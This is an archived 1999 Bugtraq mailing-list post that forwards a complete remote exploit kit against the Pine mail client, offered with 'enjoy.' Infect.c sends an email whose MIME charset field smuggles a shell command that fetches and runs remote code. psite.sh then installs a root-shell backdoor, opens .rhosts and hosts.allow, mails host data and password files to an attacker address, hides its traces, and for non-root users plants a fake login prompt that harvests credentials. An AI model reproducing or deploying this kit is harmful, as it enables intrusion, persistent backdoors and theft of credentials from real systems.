[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    Fwd: Fw: pine exploit (fwd)
From:       "stack () 4thdimension ! net" <stack () 4THDIMENSION ! NET>
Date:       1999-06-25 2:01:29
[Download RAW message or body]

[Attachment #3 (MULTIPART/ALTERNATIVE)]


enjoy.

-imagine
<950> EFNet imagine44



==================BEGIN FORWARDED MESSAGE==================
>Return-Path: <trix@gatekeep.net>
>Received: from ch.lakecountry.net (really [208.161.201.10]) by 4thdimension.net
>	via smail with esmtp (ident mail using rfc1413)
>	id <m10xHtH-000X2CC@4thdimension.net> (Debian Smail3.2.0.102)
>	for <imagine@pimped.org>; Thu, 24 Jun 1999 17:22:39 -0500 (CDT)
>Received: from mail (irconly@as5200-tyr1-ppp105.lakecountry.net [208.161.201.105])
>	by ch.lakecountry.net (8.9.1/8.9.1) with SMTP id RAA14277
>	for <imagine@pimped.org>; Thu, 24 Jun 1999 17:20:46 -0500
>From: trix@gatekeep.net
>Message-ID: <001b01bebe8e$6e807b60$69c9a1d0@mail.gatekeep.net>
>Reply-To: <trix@gatekeep.net>
>To: <imagine@pimped.org>
>Subject: Fw: pine exploit
>Date: Thu, 24 Jun 1999 17:10:53 -0500
>MIME-Version: 1.0
>X-Priority: 3
>X-MSMail-Priority: Normal
>X-Mailer: Microsoft Outlook Express 4.72.3110.1
>X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
>Content-Type: multipart/mixed;
>	boundary="----=_NextPart_000_0017_01BEBE64.8449F900"
>Status:
>

here imagine.....

*******************************************************************
Gate Keeper Technologies
Brandon Hicks System Administrator
bhicks@gatekeep.net - Personal
freebsd@gatekeep.net - FreeBSD Lists/Help
(903)882-9559
www.gatekeep.net
*******************************************************************




===================END FORWARDED MESSAGE===================



[Attachment #6 (TEXT/HTML)]

<HTML>


</U><FONT FACE="MS Sans Serif" DEFAULT="FACE"><FONT SIZE="1" POINTSIZE="8" \
DEFAULT="SIZE">enjoy.<BR> <BR>
-imagine<BR>
&lt;950&gt; EFNet imagine44<BR>
<BR>
<BR>
<BR>
==================BEGIN FORWARDED MESSAGE==================<BR>
&gt;Return-Path: &lt;trix@gatekeep.net&gt;<BR>
&gt;Received: from ch.lakecountry.net (really [208.161.201.10]) by \
4thdimension.net<BR> &gt;    via smail with esmtp (ident mail using rfc1413)<BR>
&gt;    id &lt;m10xHtH-000X2CC@4thdimension.net&gt; (Debian Smail3.2.0.102)<BR>
&gt;    for &lt;imagine@pimped.org&gt;; Thu, 24 Jun 1999 17:22:39 -0500 (CDT) <BR>
&gt;Received: from mail (irconly@as5200-tyr1-ppp105.lakecountry.net \
[208.161.201.105])<BR> &gt;    by ch.lakecountry.net (8.9.1/8.9.1) with SMTP id \
RAA14277<BR> &gt;    for &lt;imagine@pimped.org&gt;; Thu, 24 Jun 1999 17:20:46 \
-0500<BR> &gt;From: trix@gatekeep.net<BR>
&gt;Message-ID: &lt;001b01bebe8e$6e807b60$69c9a1d0@mail.gatekeep.net&gt;<BR>
&gt;Reply-To: &lt;trix@gatekeep.net&gt;<BR>
&gt;To: &lt;imagine@pimped.org&gt;<BR>
&gt;Subject: Fw: pine exploit<BR>
&gt;Date: Thu, 24 Jun 1999 17:10:53 -0500<BR>
&gt;MIME-Version: 1.0<BR>
&gt;X-Priority: 3<BR>
&gt;X-MSMail-Priority: Normal<BR>
&gt;X-Mailer: Microsoft Outlook Express 4.72.3110.1<BR>
&gt;X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3<BR>
&gt;Content-Type: multipart/mixed;<BR>
&gt;    boundary="----=_NextPart_000_0017_01BEBE64.8449F900"<BR>
&gt;Status:   <BR>
&gt;<BR>
<BR>
<FONT COLOR=000000 DEFAULT="COLOR"><FONT SIZE="2" POINTSIZE="10">here \
imagine.....<FONT SIZE="1" POINTSIZE="8" DEFAULT="SIZE"><BR>  <BR>
<FONT SIZE="2" POINTSIZE="10">*******************************************************************<BR>
 Gate Keeper Technologies<BR>
Brandon Hicks System Administrator<BR>
<FONT COLOR=0000ff><U>bhicks@gatekeep.net<FONT COLOR=000000 DEFAULT="COLOR"></U> - \
Personal<BR> <FONT COLOR=0000ff><U>freebsd@gatekeep.net<FONT COLOR=000000 \
DEFAULT="COLOR"></U> - FreeBSD Lists/Help<BR> (903)882-9559<BR>
<FONT COLOR=0000ff><U>www.gatekeep.net<FONT COLOR=000000 DEFAULT="COLOR"></U><BR>
******************************************************************* <BR>
<FONT SIZE="1" POINTSIZE="8" DEFAULT="SIZE"><BR>
 <BR>
<BR>
<BR>
===================END FORWARDED MESSAGE===================<BR>
<FONT COLOR=000000 DEFAULT="COLOR"><BR>

</HTML>


--_=_=_=IMA.BOUNDARY.HTML_4862544=_=_=_--


["Public Key.PGP" (APPLICATION/OCTET-STREAM)]
["Readme" (APPLICATION/OCTET-STREAM)]
["Infect.c" (APPLICATION/OCTET-STREAM)]

/********************************************************
 *  (hhp) Infect.c (hhp)                                *
 *  By: elaich of the hhp.                              *
 *  Part of the (hhp-pine remote exploit.)              *
 *  gcc Infect.c -o Infect ; ./Infect                   *
 *                                                      *
 *  Connects  to their SMTP server, waits for           *
 *  a full connection then sends the infected           *
 *  email and disconnects.                              *
 ********************************************************/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <malloc.h>
#include <signal.h>
#include <sys/time.h>
#include <stdlib.h>
#include <string.h>

#define TIMEOUT 12               // The time we will wait before giving up.

char * omfg;                     // globalised argv[2].
void slowass(int sig);

unsigned int wtfisit(char *name) // Hostname, ip, or niether?
 {
  struct in_addr addr;
  struct hostent *he;

  if( (addr.s_addr = inet_addr(name)) == -1)
   {

    if( (he = gethostbyname(name)) == NULL)
     {
      fprintf(stderr,"\n-(I)-> The hostname or IP is not correct.\n");
      exit(1);
     }
    bcopy(he->h_addr, (char *)&addr.s_addr, he->h_length);
   }
  return addr.s_addr;
 }

int main(int argc, char *argv[])
 {
  char msg[512];
  struct sockaddr_in victem;
  int the_ip;
  int the_port;
  int the_socket;
  char * inbuf;
  int a;

  if( argc < 4)     // Are there enough args?
   {
    fprintf(stdout,"\n");
    fprintf(stdout,"-(I)-> Infect.c -By: elaich of the hhp.\n");
    fprintf(stdout,"-(I)-> Part of the (hhp-pine remote exploit).\n");
    fprintf(stdout,"-(I)->\n");
    fprintf(stdout,"-(I)-> Usage: %s <Infected index.html site> <Target Host> <Taget \
UserName>\n", argv[0]);  fprintf(stdout,"-(I)-> Examp: %s www.mydomain.com target.com \
root\n", argv[0]);  fprintf(stdout,"-(I)->\n");
    fprintf(stdout,"-(I)-> It CANT be a dir site like www.blah.com/dir and DONT\n");
    fprintf(stdout,"-(I)-> put 'http://' because we CANT use the '/' character.\n");
    fprintf(stdout,"-(I)->\n");
    fprintf(stdout,"-(I)-> Have fun.\n\n");
    exit(-1);
   }

  memset(msg, 0, 512);

  signal(SIGALRM, &slowass);   // This will catch the alarm if it goes off.
  alarm(TIMEOUT);              // Alarm if we reach the the defined timeout.

  omfg                   = argv[2];
  the_ip                 = wtfisit(argv[2]); // argv[2] -> wtfisit() -> the_ip
  the_socket             = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  victem.sin_family      = AF_INET;
  victem.sin_port        = htons(25);  // SMTP.
  victem.sin_addr.s_addr = the_ip;

  if( connect(the_socket, (struct sockaddr *)&victem, sizeof(struct sockaddr_in)) == \
-1)  {
    perror("connect");    // We couldnt connect.
    exit(-1);             // Exits the program.
   }

   fprintf(stdout,"\n");
   fprintf(stdout,"-(I)-> Infect.c -By: elaich of the hhp.\n");
   fprintf(stdout,"-(I)-> Part of the (hhp-pine remote exploit).\n");
   fprintf(stdout,"-(I)-> \n");
   fprintf(stdout,"-(I)-> Jobs/Probs/Bugs/Etc. -> hhp@hhp.hemp.net\n");
   fprintf(stdout,"-(I)-> \n");
   fprintf(stdout,"-(I)-> Host w/ infected index.html. -> %s\n", argv[1]);
   fprintf(stdout,"-(I)-> Target Host to infect.       -> %s\n", argv[2]);
   fprintf(stdout,"-(I)-> Target UserName to infect.   -> %s\n", argv[3]);
   fprintf(stdout,"-(I)-> \n");
   fprintf(stdout,"-(I)-> Attempting to connect...\n");

   inbuf = malloc(65536);
   bzero(inbuf,65536);
   while(strstr(inbuf, "220") == NULL) // Untill we get a full connection
    {                                  // we will wait and make a funny motion.
     printf("\r-(I)-> Waiting for full connection.");
     fflush(stdout);
     usleep(900000);
     for (a=0;a<=2;a++)
      {
       printf("\r-(\\)-> Waiting for full connection..");
       fflush(stdout);
       usleep(900000);
       printf("\r-(-)-> Waiting for full connection...");
       fflush(stdout);
       usleep(900000);
       printf("\r-(/)-> Waiting for full connection....");
       fflush(stdout);
       usleep(900000);
       printf("\r-(I)-> Waiting for full connection.");
       fflush(stdout);
       usleep(900000);
      }
     recv(the_socket,inbuf+strlen(inbuf),65535-strlen(inbuf),0);
    }

   if(strstr(inbuf, "220") != NULL)  // We fully connected to the SMTP server.
    {
     sprintf(msg,"HELO THERE\nMAIL FROM:");               \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"Dave<dave@localhost>\nRCPT TO:");       \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"%s<%s@%s>\n",argv[3],argv[3],argv[2]);  \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"DATA\n");                               \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"From: Dave<dave@localhost>\nTO: ");     \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"%s<%s@%s>\n",argv[3],argv[3], argv[2]); \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"Subject: Heya.\n");                     \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"MIME-Version: 1.0\n");                  \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"Content-Type: MULTIPART/MIXED; BOUND"); \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"ARY=\"8323328-235065145-918425607=:3"); \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"19\"\n");                               \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"--8323328-235065145-918425607=:319\n"); \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"Content-Type: TEXT/PLAIN; charset='U"); \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"S-ASCII'\n");                           \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"Just keeping up and saying hi.\n");     \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"I got a new addy and domain hehe..\n"); \
                write(the_socket,msg,strlen(msg));
     sprintf(msg," \n");  /* This is here so if      */   \
                write(the_socket,msg,strlen(msg));
     sprintf(msg," \n");  /* pine sends a msg to     */   \
                write(the_socket,msg,strlen(msg));
     sprintf(msg," \n");  /* their term, they wont   */   \
                write(the_socket,msg,strlen(msg));
     sprintf(msg," \n");  /* see any of the email    */   \
                write(the_socket,msg,strlen(msg));
     sprintf(msg," \n");  /* contents we're sending. */   \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"--8323328-235065145-918425607=:319\n"); \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"Content-Type: TEXT/PLAIN; charset=``"); \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"lynx${IFS}-source${IFS}%s|u", argv[1]); \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"udecode|...``; name=\"emailf\"\n");     \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"Content-Transfer-Encoding: BASE64\n");  \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"Content-Description: heya\n");          \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"Content-Disposition: attachment; fi");  \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"lename=\"emailf\"\n");                  \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,".\n"); /* finished the email */         \
                write(the_socket,msg,strlen(msg));
     sprintf(msg,"quit\n\n"); /* close the connection. */ \
write(the_socket,msg,strlen(msg));

     close(the_socket);  // Re insures the closing of the_socket.
     fprintf(stdout,"\n");
     fprintf(stdout,"-(I)-> \n");
     fprintf(stdout,"-(I)-> Infected email sent!\n");
     fprintf(stdout,"-(I)-> \n");
     fprintf(stdout,"-(I)-> When %s reads the email,\n", argv[3]);
     fprintf(stdout,"-(I)-> you'll recieve an email to the\n");
     fprintf(stdout,"-(I)-> address you defined in psite.sh.\n\n");
     return 0;
    }
 }

void slowass(int sig)   // Alarm went off.
 {
  fprintf(stdout,"\n");
  fprintf(stdout,"-(I)-> %s -> Server is firewalled, or lagged to hell.\n", omfg);
  fprintf(stdout,"\n");
  exit(-1);            // Exits the program.


/*
  If youre having trouble using this, like i have on very few servers...
  the raw email is as follows: Remeber to change 'USERNAME' to the user
  you're trying to infect, and change 'HOSTNAME-WITH-INFECTED-index.html'
  with the hostname of the domain with the uuencoded psite.sh on the
  index.html (remember it has to be www.blah.com, and cant be a user dir
  like www.blah.com/user and dont put http://, because we cant use the
  '/' character in the charset. -elaich


HELO THERE
MAIL FROM: Dave<dave@localhost>
RCPT TO: USERNMAE<USERNAME@target.com>
DATA
From: Dave<dave@localhost>
TO: USERNMAE<USERNAME@target.com>
Subject: Heya.
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319"
--8323328-235065145-918425607=:319\n
Content-Type: TEXT/PLAIN; charset='US-ASCII'
Just keeping up and saying hi.
I got a new addy and domain hehe.

--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; \
charset=``lynx${IFS}-source${IFS}HOSTNAME-WITH-INFECTED-index.html|uudecode|...``; \
                name="emailf"
Content-Transfer-Encoding: BASE64
Content-Description: heya
Content-Disposition: attachment; filename="emailf"
.
quit

*/
}


["psite.sh" (APPLICATION/OCTET-STREAM)]

#!/bin/sh
# psite.sh
# by: elaich of the hhp.
# Script #1 of the hhp-pine remote exploit.
#
# This cant be a C program because we dont want to raise
# the requirments of the programs needed to use this exploit.
#
# For ROOT infections it...
# Makes a backdoor on port 31336.
# Makes .rhosts.
# Turns port 70 into a telnet port. -Incase 23 is firewalled.
# Puts ALL:ALL in hosts.allow.
# Emails you thier infection.
# Sends you an xterm.(If you define it.)
#
# For NON-ROOT infections it...
# Sends you an xterm.(If you define it.)
# emails you passwd file.(If you defined it.)
# logs them out making them relogin taking their login and passwd
#
# Be sure to change the email address to yours in the below script.
# 
# Usage: [root@pine]# uuencode psite.sh ... > index.html
# Then change the mode to 777 in the index.html.
# view the README if you need a domain to put this on.
#
if [ "`id | awk '{print $1}'`" = "uid=0(root)" ]; then
killall -9 pine 2>&1
# XTERM DEFINES: The next three lines are for os variant xterm dirs.
#/usr/bin/X11/xterm -display <your-ip>:0.0 -rv -e /bin/sh
#/usr/X11R6/bin/xterm -display <your-ip>:0.0 -rv -e /bin/sh
#/usr/openwin/bin/xterm -display <your-ip>:0.0 -rv -e /bin/sh
echo "+ +" > ~/.rhosts 2>&1
echo "+ +" > /.rhosts 2>&1
echo "+ +" > /root/.rhosts 2>&1
echo "ALL:ALL" >> /etc/hosts.allow 2>&1
cat /etc/inetd.conf | sed s/#telnet/telnet/g > /etc/... 2>&1
mv /etc/... /etc/inetd.conf 2>&1
cat /etc/inetd.conf | sed s/#gopher/gopher/g > /etc/... 2>&1
mv /etc/... /etc/inetd.conf 2>&1
cp /usr/sbin/in.telnetd /usr/sbin/gn 2>&1
echo "hhp-conf stream tcp nowait root /usr/sbin/linuxcnf sh -i" >> /etc/inetd.conf \
2>&1 cp /bin/sh /usr/sbin/linuxcnf 2>&1
chmod +x /usr/sbin/linuxcnf 2>&1
chmod +x /usr/sbin/gn 2>&1
mkdir /etc/cron.hourly 2>&1
echo "rm `pwd`/..." > /etc/cron.hourly/... 2>&1
echo "rm /etc/cron.hourly/..." >> /etc/cron.hourly/... 2>&1
echo "hhp-conf         31336/tcp" >> /etc/services 2>&1
killall -HUP inetd 2>&1
echo "Im a (hhp-pine remote exploit.) infection." > ~/..... 2>&1
hostname -i >> ~/..... 2>&1
hostname -d >> ~/..... 2>&1
uname -a >> ~/..... 2>&1
# Change this to your email address.
cat ~/..... | mail -s hhp-pine_root pigspigs@yahoo.com 2>&1
# echo "`hostname -i` - `cat /etc/passwd`" | mail -s hhp-pine_passwd-file \
pigspigs@yahoo.com 2>&1 # echo "`hostname -i` - `cat /etc/shadow`" | mail -s \
hhp-pine_shadow-file pigspigs@yahoo.com 2>&1 rm ~/..... 2>&1
rm -fr psite.c 2>&1
cat /var/spool/mail/`whoami` | egrep -v "uude|emailf|void|BASE64" > /tmp/..... 2>&1
mv /tmp/..... /var/spool/mail/`whoami` 2>&1
# For capability with other operating systems...
cat /usr/spool/mail/`whoami` | egrep -v "uude|emailf|void|BASE64" > /tmp/..... 2>&1
mv /tmp/..... /usr/spool/mail/`whoami` 2>&1
#
# IRC channel connection section...
# (Makes the rooted people connect to DALnet in #hhp_owned under guest nicks.)
echo '#!/usr/bin/perl
# owned-bot by: elaich of the hhp.
use IO::Socket;
        $sock = IO::Socket::INET->new(PeerAddr => "phix.dal.net",
              PeerPort => 7000,
              Proto => "tcp") or die "\n";
        print $sock "USER owned owned owned owned\n";
        print $sock "PASS owned\n";
        print $sock "NICK hhp\n";
        print $sock "JOIN #hhp_owned\n";
        print $sock "PRIVMSG #hhp_owned :Im owned. -root-.\n";
        while(<$sock>) {
                chomp;
                $line = $_;
                if ($line =~ /^PING/) {
                print $sock "pong phix.dal.net\n";
        }
}
' > ~/quota.pl 2>&1
chmod +x ~/quota.pl 2>&1
~/quota.pl >> /dev/null &
rm -fr ~/quota.pl 2>&1

else
killall -9 pine 2>&1
# XTERM DEFINES: The next three lines are for os variant xterm dirs.
#/usr/bin/X11/xterm -display <your-ip>:0.0 -rv -e /bin/sh
#/usr/X11R6/bin/xterm -display <your-ip>:0.0 -rv -e /bin/sh
#/usr/openwin/bin/xterm -display <your-ip>:0.0 -rv -e /bin/sh
echo '#!/bin/sh' > ~/.shell
echo "clear" >> ~/.shell
echo "echo \"shell-init: could not get current directory:\"" >> ~/.shell
echo "cat /etc/issue.net" >> ~/.shell
echo "echo -n \"login: \"" >> ~/.shell
echo "read l" >> ~/.shell
echo "stty -echo" >> ~/.shell
echo "echo -n \"Password: \"" >> ~/.shell
echo "read p" >> ~/.shell
echo "stty echo" >> ~/.shell
echo "echo \"\" >> ~/.shell
echo 'echo `hostname -i`: `hostname -d` "---"  l:$l p:$p|mail -s hhp-pine_nonroot \
pigspigs@yahoo.com > /dev/null' >> ~/.shell echo "rm -rf ~/.shell" >> ~/.shell
echo "rm -rf ~/..." >> ~/.shell
# echo "`hostname -i` - `cat /etc/passwd`" | mail -s hhp-pine_passwd-file \
pigspigs@yahoo.com 2>&1 echo 'echo `cat ~/.profile |grep -v shell` > .profile' >> \
~/.shell echo 'echo `cat ~/.bashrc |grep -v shell` > .bashrc' >> ~/.shell
echo "~/.shell" >> ~/.bashrc 2>&1
echo "~/.shell" >> ~/.profile 2>&1
chmod +x ~/.bashrc >/dev/null 2>&1
chmod +x ~/.profile >/dev/null 2>&1
chmod +x ~/.shell >/dev/null 2>&1
cat /var/spool/mail/`whoami` | egrep -v "uude|emailf|void|BASE64" > ~/..... 2>&1
mv ~/..... /var/spool/mail/`whoami` 2>&1
# For capability with other operating systems...
cat /usr/spool/mail/`whoami` | egrep -v "uude|emailf|void|BASE64" > ~/..... 2>&1
mv ~/..... /usr/spool/mail/`whoami` 2>&1
#
# IRC channel connection section...
# (Makes the rooted people connect to DALnet in #hhp_owned under guest nicks.)
echo '#!/usr/bin/perl
# owned-bot by: elaich of the hhp.
use IO::Socket;
        $sock = IO::Socket::INET->new(PeerAddr => "phix.dal.net",
              PeerPort => 7000,
              Proto => "tcp") or die "\n";
        print $sock "USER owned owned owned owned\n";
        print $sock "PASS owned\n";
        print $sock "NICK hhp\n"; 
        print $sock "JOIN #hhp_owned\n";
        print $sock "PRIVMSG #hhp_owned :Im owned. -non-root-.\n";
        while(<$sock>) {
                chomp;  
                $line = $_;
                print "# $line\n";
                if ($line =~ /^PING/) {
                print $sock "pong phix.dal.net\n";
        }
}
' > ~/quota.pl 2>&1
chmod +x ~/quota.pl 2>&1
~/quota.pl >> /dev/null &
rm -fr ~/quota.pl 2>&1
killall -9 bash 2>&1
killall -9 sh 2>&1
killall -9 tcsh 2>&1
killall -9 csh 2>&1
killall -9 ksh 2>&1
fi


["cleanup.c" (APPLICATION/OCTET-STREAM)]

/* 
   cleanup.c
   Part of hhp-pine remote exploit.
   Run this on systems you infected
   root users on and it will just close all
   the holes that psite.sh has made.
*/

main()
 {
  system("cat /etc/hosts.allow | grep -v \"ALL:ALL\" > /etc/temp");
  system("mv /etc/temp /etc/hosts.allow");
  system("echo \"ALL:ALL\" >> /etc/hosts.allow");
  system("rm -fr ~/.rhosts ; rm -fr /.rhosts ; rm -fr /root/.rhosts");
  system("cat /etc/inetd.conf | grep -v \"hhp-conf\" > /etc/temp");
  system("mv /etc/temp /etc/inetd.conf");
  system("cat /etc/services | grep -v \"hhp-conf\" > /etc/temp");
  system("mv /etc/temp /etc/services");
  system("killall -HUP inetd");
 }




[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic